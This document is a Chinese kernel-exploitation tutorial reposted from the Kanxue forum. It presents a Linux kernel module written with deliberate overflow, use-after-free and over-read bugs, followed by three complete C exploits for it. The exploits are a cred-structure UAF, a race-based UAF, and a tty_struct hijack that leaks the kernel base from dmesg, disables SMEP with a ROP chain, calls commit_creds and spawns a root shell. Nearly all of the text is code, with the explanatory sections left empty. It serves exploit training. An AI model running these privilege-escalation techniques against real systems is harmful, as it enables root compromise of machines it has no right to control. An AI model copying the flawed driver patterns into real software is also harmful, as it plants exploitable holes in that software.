Kernel从0开始
本文为看雪论坛优秀文章
看雪论坛作者ID:PIG-007
一
简介
#include <linux/module.h>#include <linux/version.h>#include <linux/kernel.h>#include <linux/types.h>#include <linux/kdev_t.h>#include <linux/fs.h>#include <linux/device.h>#include <linux/cdev.h>#include <asm/uaccess.h>#include <linux/slab.h> //设备驱动常用变量//static char *buffer_var = NULL;static char *buffer_var = NULL;static struct class *devClass; // Global variable for the device classstatic struct cdev cdev;static dev_t stack_dev_no; struct note{ int idx; int len; char* data;}; //static char* notelist[1000];static char* notelist[1000];static struct note* noteChunk;static int count = 0; static ssize_t stack_read(struct file *filp, const char __user *buf,size_t len, loff_t *f_pos); static ssize_t stack_write(struct file *filp, const char __user *buf,size_t len, loff_t *f_pos); static long stack_ioctl(struct file *filp, unsigned int cmd, unsigned long arg); static int stack_open(struct inode *i, struct file *f); static int stack_close(struct inode *i, struct file *f); static struct file_operations stack_fops = { .owner = THIS_MODULE, .open = stack_open, .release = stack_close, .write = stack_write, .read = stack_read, .unlocked_ioctl = stack_ioctl }; // 设备驱动模块加载函数static int __init stack_init(void){ printk(KERN_INFO "[i] Module stack registered"); if (alloc_chrdev_region(&stack_dev_no, 0, 1, "stack") < 0) { return -1; } if ((devClass = class_create(THIS_MODULE, "chardrv")) == NULL) { unregister_chrdev_region(stack_dev_no, 1); return -1; } if (device_create(devClass, NULL, stack_dev_no, NULL, "stack") == NULL) { printk(KERN_INFO "[i] Module stack error"); class_destroy(devClass); unregister_chrdev_region(stack_dev_no, 1); return -1; } cdev_init(&cdev, &stack_fops); if (cdev_add(&cdev, stack_dev_no, 1) == -1) { device_destroy(devClass, stack_dev_no); class_destroy(devClass); unregister_chrdev_region(stack_dev_no, 1); return -1; } printk(KERN_INFO "[i] <Major, Minor>: <%d, %d>\n", MAJOR(stack_dev_no), MINOR(stack_dev_no)); return 0;} // 设备驱动模块卸载函数static void __exit stack_exit(void){ // 释放占用的设备号 unregister_chrdev_region(stack_dev_no, 1); cdev_del(&cdev);} // 读设备ssize_t stack_read(struct file *filp, const char __user *buf,size_t len, loff_t *f_pos){ printk(KERN_INFO "Stack_read function" ); copy_to_user(buf,buffer_var,len);} // 写设备ssize_t stack_write(struct file *filp, const char __user *buf,size_t len, loff_t *f_pos) //buffer overflow{ printk(KERN_INFO "Stack_write function" ); copy_from_user(buffer_var, buf, len); printk("[i] Module stack write: %s\n",buffer_var); return len;} // ioctl函数命令控制long stack_ioctl(struct file *filp, unsigned int cmd, unsigned long arg){ char* chunk = NULL; int retval = 0; printk(KERN_INFO "Ioctl Get!\n"); printk("notelist_addr:0x%llx\n",¬elist[0]); switch (cmd) { case 1://add //noteChunk = (char *)kmalloc(sizeof(struct Note),GFP_KERNEL); //copy_from_user(noteChunk, arg, sizeof(struct Note)); printk("Kernel Add function!---001\n"); noteChunk = (struct Note*)arg; chunk = (char *)kmalloc(noteChunk->len,GFP_KERNEL); printk("chunk_addr:0x%llx\n",chunk); if (!chunk) { printk("Alloca Error\n"); return 0; } memcpy(chunk, noteChunk->data,noteChunk->len); notelist[count] = chunk; chunk = NULL; count ++; printk("Add Success!\n"); break; case 888: //free without clean point and data printk("Kernel Free function!---888\n"); noteChunk = (struct Note*)arg; printk("notelist:0x%llx\n",notelist[noteChunk->idx]); if (notelist[noteChunk->idx]) { kfree(notelist[noteChunk->idx]); //notelist[noteChunk->idx] = NULL; printk("Free Success!\n"); } else { printk("You can't free it!There is no chunk!\n"); } break; case 3://edit //UAF and overflow printk("Kernel Edit function!---003\n"); noteChunk = (struct Note*)arg; if (notelist[noteChunk->idx]) { memcpy(notelist[noteChunk->idx], noteChunk->data,noteChunk->len); printk("Edit Success!\n"); } else { printk("You can't edit it!There is no chunk!\n"); } break; case 4://read //over read printk("Kernel Read function!---004\n"); noteChunk = (struct Note*)arg; if(notelist[noteChunk->idx]){ copy_to_user(noteChunk->data,notelist[noteChunk->idx],noteChunk->len); printk("Read Success!\n"); } break; case 111: //Test add chunk printk("Test add chunk!---111\n"); printk(KERN_INFO "No buffer_var!Malloc now!" ); buffer_var=(char*)kmalloc(0xa8,GFP_KERNEL); printk("buffer_var:0x%llx\n",buffer_var); break; default: retval = -1; break; } return retval;} static int stack_open(struct inode *i, struct file *f){ printk(KERN_INFO "[i] Module stack: open()\n"); return 0;} static int stack_close(struct inode *i, struct file *f){ kfree(buffer_var); //buffer_var = NULL; printk(KERN_INFO "[i] Module stack: close()\n"); return 0;} module_init(stack_init);module_exit(stack_exit); MODULE_LICENSE("GPL");// MODULE_AUTHOR("blackndoor");// MODULE_DESCRIPTION("Module vuln overflow");二
利用Cred结构体提权
1、正常UAF
前置知识
POC
#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <errno.h>#include <sys/mman.h>#include <assert.h> struct addNote{ size_t len; char* data;}; struct editNote{ size_t idx; size_t len; char* data;}; //open devint openDev(char* pos);void addFun(int fd,struct addNote* arg);void freeFun(int fd,struct editNote* arg);void editFun(int fd,struct editNote* arg);void readFun(int fd,struct editNote* arg); int main(int argc, char *argv[]){ int fd; int idFork; unsigned long memOffset; struct addNote addChunk; struct editNote readChunk; struct editNote editChunk; //open Dev char* pos = "/dev/stack"; fd = openDev(pos); char credBuf[0xa8] = {0}; addChunk.len = 0xa8; addChunk.data = credBuf; addFun(fd,&addChunk); editChunk.idx = 0; freeFun(fd,&editChunk); idFork = fork(); editChunk.data = credBuf; editChunk.len = 28; if(idFork == 0){ //get into 28*0 to set uid and gid 0 editFun(fd,&editChunk); if(getuid() == 0){ printf("[*]welcome root:\n"); system("/bin/sh"); return 0; } } else if(idFork < 0){ printf("[*]fork fail\n"); } else{ wait(NULL); } return 0; } int openDev(char* pos){ int fd; printf("[+] Open %s...\n",pos); if ((fd = open(pos, O_RDWR)) < 0) { printf(" Can't open device file: %s\n",pos); exit(1); } return fd;} void addFun(int fd, struct addNote* arg){ ioctl(fd,1,arg);} void freeFun(int fd, struct editNote* arg){ ioctl(fd,888,arg);} void editFun(int fd, struct editNote* arg){ ioctl(fd,3,arg);} void readFun(int fd, struct editNote* arg){ ioctl(fd,4,arg);}2、伪条件竞争造成的UAF(多进程)
前置知识
POC
#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <errno.h>#include <sys/mman.h>#include <assert.h> struct addNote{ size_t len; char* data;}; struct editNote{ size_t idx; size_t len; char* data;}; //open devint openDev(char* pos);void addFun(int fd,struct addNote* arg);void freeFun(int fd,struct editNote* arg);void editFun(int fd,struct editNote* arg);void readFun(int fd,struct editNote* arg); int main(int argc, char *argv[]){ int fd1,fd2; int idFork,idBefore; unsigned long memOffset; struct addNote addChunk; struct editNote readChunk; struct editNote editChunk; //char *mycred; //mycred = current_user_ns(); //printf("Cred_addr:0x%llx\n",mycred); //open Dev char* pos = "/dev/stack"; char credBuf[0xa8] = {0}; fd1 = openDev(pos); fd2 = openDev(pos); ioctl(fd1,111,editChunk); //test add close(fd1); idFork = fork(); printf("idFork:%d\n",idFork); if(idFork == 0){ //get into 28*0 to set uid and gid 0 idBefore = getuid(); printf("Before uid:%d\n",idBefore); write(fd2, credBuf, 28); if(getuid() == 0){ printf("[*]welcome root:\n"); system("/bin/sh"); return 0; } } else if(idFork < 0){ printf("[*]fork fail\n"); } else{ wait(NULL); } return 0; } int openDev(char* pos){ int fd; printf("[+] Open %s...\n",pos); if ((fd = open(pos, O_RDWR)) < 0) { printf(" Can't open device file: %s\n",pos); exit(1); } return fd;} void addFun(int fd, struct addNote* arg){ ioctl(fd,1,arg);} void freeFun(int fd, struct editNote* arg){ ioctl(fd,888,arg);} void editFun(int fd, struct editNote* arg){ ioctl(fd,3,arg);} void readFun(int fd, struct editNote* arg){ ioctl(fd,4,arg);}三
劫持tty_struct结构体
原理
1、函数调用链
2、劫持栈
3、结构体
struct tty_struct { int magic; struct kref kref; struct device *dev; struct tty_driver *driver; const struct tty_operations *ops; int index; /* Protects ldisc changes: Lock tty not pty */ struct ld_semaphore ldisc_sem; struct tty_ldisc *ldisc; struct mutex atomic_write_lock; struct mutex legacy_mutex; struct mutex throttle_mutex; struct rw_semaphore termios_rwsem; struct mutex winsize_mutex; spinlock_t ctrl_lock; spinlock_t flow_lock; /* Termios values are protected by the termios rwsem */ struct ktermios termios, termios_locked; struct termiox *termiox; /* May be NULL for unsupported */ char name[64]; struct pid *pgrp; /* Protected by ctrl lock */ struct pid *session; unsigned long flags; int count; struct winsize winsize; /* winsize_mutex */ unsigned long stopped:1, /* flow_lock */ flow_stopped:1, unused:BITS_PER_LONG - 2; int hw_stopped; unsigned long ctrl_status:8, /* ctrl_lock */ packet:1, unused_ctrl:BITS_PER_LONG - 9; unsigned int receive_room; /* Bytes free for queue */ int flow_change; struct tty_struct *link; struct fasync_struct *fasync; int alt_speed; /* For magic substitution of 38400 bps */ wait_queue_head_t write_wait; wait_queue_head_t read_wait; struct work_struct hangup_work; void *disc_data; void *driver_data; struct list_head tty_files; #define N_TTY_BUF_SIZE 4096 int closing; unsigned char *write_buf; int write_cnt; /* If the tty has a pending do_SAK, queue it here - akpm */ struct work_struct SAK_work; struct tty_port *port;};magic成员
ops成员
struct tty_operations { struct tty_struct * (*lookup)(struct tty_driver *driver, struct inode *inode, int idx); int (*install)(struct tty_driver *driver, struct tty_struct *tty); void (*remove)(struct tty_driver *driver, struct tty_struct *tty); int (*open)(struct tty_struct * tty, struct file * filp); void (*close)(struct tty_struct * tty, struct file * filp); void (*shutdown)(struct tty_struct *tty); void (*cleanup)(struct tty_struct *tty); int (*write)(struct tty_struct * tty, const unsigned char *buf, int count); int (*put_char)(struct tty_struct *tty, unsigned char ch); void (*flush_chars)(struct tty_struct *tty); int (*write_room)(struct tty_struct *tty); int (*chars_in_buffer)(struct tty_struct *tty); int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); long (*compat_ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); void (*set_termios)(struct tty_struct *tty, struct ktermios * old); void (*throttle)(struct tty_struct * tty); void (*unthrottle)(struct tty_struct * tty); void (*stop)(struct tty_struct *tty); void (*start)(struct tty_struct *tty); void (*hangup)(struct tty_struct *tty); int (*break_ctl)(struct tty_struct *tty, int state); void (*flush_buffer)(struct tty_struct *tty); void (*set_ldisc)(struct tty_struct *tty); void (*wait_until_sent)(struct tty_struct *tty, int timeout); void (*send_xchar)(struct tty_struct *tty, char ch); int (*tiocmget)(struct tty_struct *tty); int (*tiocmset)(struct tty_struct *tty, unsigned int set, unsigned int clear); int (*resize)(struct tty_struct *tty, struct winsize *ws); int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew); int (*get_icount)(struct tty_struct *tty, struct serial_icounter_struct *icount);#ifdef CONFIG_CONSOLE_POLL int (*poll_init)(struct tty_driver *driver, int line, char *options); int (*poll_get_char)(struct tty_driver *driver, int line); void (*poll_put_char)(struct tty_driver *driver, int line, char ch);#endif const struct file_operations *proc_fops;};4、最终结构
fake_tty_struct结构体
fake_tty_operation结构体
POC
#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <errno.h>#include <sys/mman.h>#include <assert.h>#include <linux/tty.h> struct cred;struct task_struct;typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));prepare_kernel_cred_t prepare_kernel_cred;commit_creds_t commit_creds; unsigned long user_cs;unsigned long user_ss;unsigned long user_rflags;unsigned long user_sp; #define tty_size 0x2e0 struct addNote{ size_t len; char* data;}; struct editNote{ size_t idx; size_t len; char* data;}; //ROP funcunsigned long findAddr();void save_state();void getroot (void);void shell(void); //open devint openDev(char* pos);void addFun(int fd,struct addNote* arg);void freeFun(int fd,struct editNote* arg);void editFun(int fd,struct editNote* arg);void readFun(int fd,struct editNote* arg); int main(int argc, char *argv[]){ int fd,fd_tty; char buf[0x10]; int i = 0; unsigned long memOffset; struct addNote addChunk; struct editNote readChunk; struct editNote editChunk; unsigned long smpOffset = 0x1146000; memOffset = findAddr(); //debug kernel unsigned long vmBase = memOffset - smpOffset; unsigned long pop_rdi_ret = vmBase + 0x3d032d; unsigned long pop_rax_rbx_r12_r13_rbp_ret = vmBase + 0x46c45e; unsigned long movCr4Rdi_pop_rbp_ret = vmBase + 0x004c40; unsigned long movRspRax_decEbx_ret = vmBase + 0x805115; unsigned long swapgs_sysret = (unsigned long)vmBase + 0x60ba2; unsigned long swapgs_popRbp_ret = (unsigned long)vmBase + 0x60394; unsigned long iretq = (unsigned long)vmBase + 0x803857; unsigned long getR = (unsigned long)getroot; unsigned long sh = (unsigned long)shell; unsigned long sp; size_t rop[32]; commit_creds = (commit_creds_t)(vmBase + 0x9f4a0); prepare_kernel_cred = (prepare_kernel_cred_t)(vmBase + 0x9f870); // unsigned long vmBase = memOffset - smpOffset; // unsigned long pop_rdi_ret = vmBase + 0xFE3542; // unsigned long pop_rax_rbx_r12_rbp_ret = vmBase + 0x3794b9; // unsigned long movCr4Rax_pop_rbp_ret = vmBase + 0xe0e4; // unsigned long movRspRax_decEbx_ret = vmBase + 0x8841CF; // unsigned long getR = (unsigned long)getroot; // unsigned long swapgs_ret = (unsigned long)vmBase + 0x884188; // unsigned long iretq = (unsigned long)vmBase + 0x882d77; // unsigned long sh = (unsigned long)shell; //print part printf("pop_rdi_ret:0x%llx\n",pop_rdi_ret); printf("movCr4Rdi_pop_rbp_ret:0x%llx\n",movCr4Rdi_pop_rbp_ret); printf("movRspRax_decEbx_ret:0x%llx\n",movRspRax_decEbx_ret); printf("iretq:0x%llx\n",iretq); //open Dev char* pos = "/dev/stack"; fd = openDev(pos); char ttyBuf[tty_size] = {'0'}; addChunk.len = tty_size; addChunk.data = ttyBuf; addFun(fd,&addChunk); void* fake_tty_operations[30]; for(int i = 0; i < 30; i++) { fake_tty_operations[i] = movRspRax_decEbx_ret; } fake_tty_operations[0] = pop_rax_rbx_r12_r13_rbp_ret; fake_tty_operations[1] = (size_t)rop; size_t fake_tty_struct[4] = {0}; fake_tty_struct[0] = 0x0000000100005401;//need to set magic number fake_tty_struct[1] = 0; fake_tty_struct[2] = 0; fake_tty_struct[3] = (size_t)fake_tty_operations; editChunk.idx = 0; editChunk.len = 0x20; editChunk.data = fake_tty_struct; freeFun(fd,&editChunk); pos = "/dev/ptmx"; fd_tty = openDev(pos); printf("fd_tty:0x%d\n",fd_tty); editFun(fd, &editChunk); //rop set save_state(); rop[i++] = pop_rdi_ret; // pop_rax_rbx_r12_rbp_ret rop[i++] = 0x6f0; rop[i++] = movCr4Rdi_pop_rbp_ret; // mov cr4, rax; pop rbp; ret; rop[i++] = 0; rop[i++] = (size_t)getR; rop[i++] = swapgs_popRbp_ret; // swapgs;ret rop[i++] = 0x0; rop[i++] = iretq; // iretq rop[i++] = (size_t)sh; rop[i++] = user_cs; /* saved CS */ rop[i++] = user_rflags; /* saved EFLAGS */ rop[i++] = user_sp; rop[i++] = user_ss; write(fd_tty,buf,0x10); return 0; } int openDev(char* pos){ int fd; printf("[+] Open %s...\n",pos); if ((fd = open(pos, O_RDWR)) < 0) { printf(" Can't open device file: %s\n",pos); exit(1); } return fd;} void addFun(int fd, struct addNote* arg){ ioctl(fd,1,arg);} void freeFun(int fd, struct editNote* arg){ ioctl(fd,888,arg);} void editFun(int fd, struct editNote* arg){ ioctl(fd,3,arg);} void readFun(int fd, struct editNote* arg){ ioctl(fd,4,arg);} void save_state() { __asm__("mov %cs,user_cs;" "mov %ss,user_ss;" "mov %rsp,user_sp;" "pushf;" "pop user_rflags;" ); puts("user states have been saved!!");} void shell(void) { printf("[+] getuid() ..."); if(!getuid()) { printf(" [root]\n[+] Enjoy your shell...\n"); system("/bin/sh"); } else { printf("[+] not root\n[+] failed !!!\n"); }} /* function to get root id */void getroot (void){ commit_creds(prepare_kernel_cred(0));} unsigned long findAddr() { char line[512]; char string[] = "Freeing SMP alternatives memory"; char found[17]; unsigned long addr=0; /* execute dmesg and place result in a file */ printf("[+] Excecute dmesg...\n"); system("dmesg > /tmp/dmesg"); printf("[+] Find usefull addr...\n"); FILE* file = fopen("/tmp/dmesg", "r"); while (fgets(line, sizeof(line), file)) { if(strstr(line,string)) { strncpy(found,line+53,16); sscanf(found,"%p",(void **)&addr); break; } } fclose(file); if(addr==0) { printf(" dmesg error...\n"); exit(1); } return addr; }执行流程
▲注意事项:
看雪ID:PIG-007
https://bbs.pediy.com/user-home-904686.htm
# 往期推荐
3.通过PsSetLoadImageNotifyRoutine学习模块监控与反模块监控
球分享
球点赞
球在看
点击“阅读原文”,了解更多!